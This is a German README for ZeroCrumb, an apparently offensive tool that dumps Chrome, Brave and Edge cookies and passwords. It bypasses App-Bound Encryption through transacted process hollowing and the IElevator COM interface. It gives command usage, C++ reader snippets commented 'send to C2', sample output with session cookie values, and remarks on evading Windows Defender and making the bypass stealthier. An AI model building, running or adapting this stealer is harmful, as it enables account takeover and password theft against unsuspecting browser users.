
Dumping App Bound geschützter Anmeldedaten & Cookies ohne Berechtigungen.
Auslesen von App-gebundenen geschützten Anmeldeinformationen und Cookies ohne Berechtigungen.
ZeroCrumb umgeht den Chrome Elevation Service, indem es eine Chrome-Instanz mittels Transacted Hollowing imitiert. Dadurch kann die IElevator-COM-Schnittstelle genutzt werden, um den App-gebundenen Schlüssel zu entschlüsseln.
Anschließend sendet der im ausgehöhlten Chrome-Prozess laufende Schlüsseldumper den entschlüsselten Schlüssel über eine Named Pipe an ZeroCrumb zurück.
Danach entschlüsselt ZeroCrumb die Cookies/Passwörter des angegebenen Browsers mit dem zuvor abgerufenen Schlüssel.
Die Verwendung von Named Pipes in ZeroCrumb erlaubt es jedem Programm, das die Windows-API nutzen kann, sich mit der ZeroCrumb-Named-Pipe zu verbinden und den App-gebundenen Schlüssel daraus auszulesen.
Wenn Sie ZeroCrumb als Bibliothek verwenden möchten, müssen Sie eine DLL kompilieren, die eine Funktion exportiert, die das Aushöhlen von Chrome mit dem Schlüsseldumper durchführt. Möglicherweise müssen Sie auch die ausführbare Datei des Schlüsseldumpers in den .rsrc-Abschnitt der kompilierten DLL einbetten und später mit den Windows-APIs für Anwendungsressourcen abrufen.
Sie können dies in einem beliebigen Verzeichnis ausführen, solange sich der Schlüsseldumper im selben Verzeichnis befindet.
ZeroCrumb.exe <BROWSER_TYPE> <DUMP_TYPE>
Browser-Typen:
Chrome -> 0
Brave -> 1
Edge -> 2
Dump-Typen:
Cookies
Passwörter
ZeroCrumb bietet einfach zu verwendende CookieReader- und PasswordReader-Klassen:
auto reader = new CookieReader(cookiesPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::cookies);
reader->populateCookies();
for (auto& cookie : reader->cookies) {
string name = cookie->name;
string site = cookie->site;
string path = cookie->path;
string cookieValue = cookie->cookie;
// in Datei schreiben, an C2 senden usw.
}
// beachten Sie: Passwörter sind (noch) nicht mit dem App-gebundenen Schlüssel verschlüsselt
auto reader = new PasswordReader(passwordsPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::passwords);
reader->populatePasswords();
for (auto& password : reader->passwords) {
auto name = password->name;
auto site = password->site;
auto passwordValue = password->password;
// in Datei schreiben, an C2 senden usw.
}
ZeroCrumb benötigt zwei Vcpkg-Abhängigkeiten:
sqlite3
libsodium
$ ZeroCrumb.exe 0 Cookies
[*] Reading From Pipe...
App Bound Key: 980f8ea8af3299d966a26242.....
============
Name: SIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXxD19T0KLMkrMC-eUXkrnEFi92OXq6rj1vydvmdL73olBVQGRQ4cG_hK5sqPhO1rLd1CM
============
Name: __Secure-1PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXXC8_MNDlVbAaw512aXu-QJkl0uKNW66rhjeufotzoJhT3OPN5TuCQnfKS8l57_WGfDw
============
Name: __Secure-3PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzVVySM4FWl9itegCN2evcSmBvGc7_iXHqkKZ6VYPKmR--_LsHx1Aflar6SU4nyJiDaFq028
============
Name: udid
Site: .veepn.com
Path: /
Cookie: 0dd5b8bb-8c5b-47f3-87f9-1db8fa7d885f
============
Sie können ZeroCrumb so anpassen, dass es mit beliebigen anderen Anmeldeinformationen als Cookies und Passwörtern arbeitet.
Dies ist keineswegs die heimlichste Implementierung dieser Umgehung. Sie kann erkannt werden, indem nach bestimmten Zeichenfolgen gesucht, APIs gehooked usw. wird.
Zum Zeitpunkt meines Tests wurde Windows Defender umgangen, aber ich habe andere Antivirenprogramme nicht überprüft.
Ich überlasse es dem Benutzer, die Umgehung noch unauffälliger zu gestalten, falls diese Implementierung in Zukunft per Signatur erkannt wird.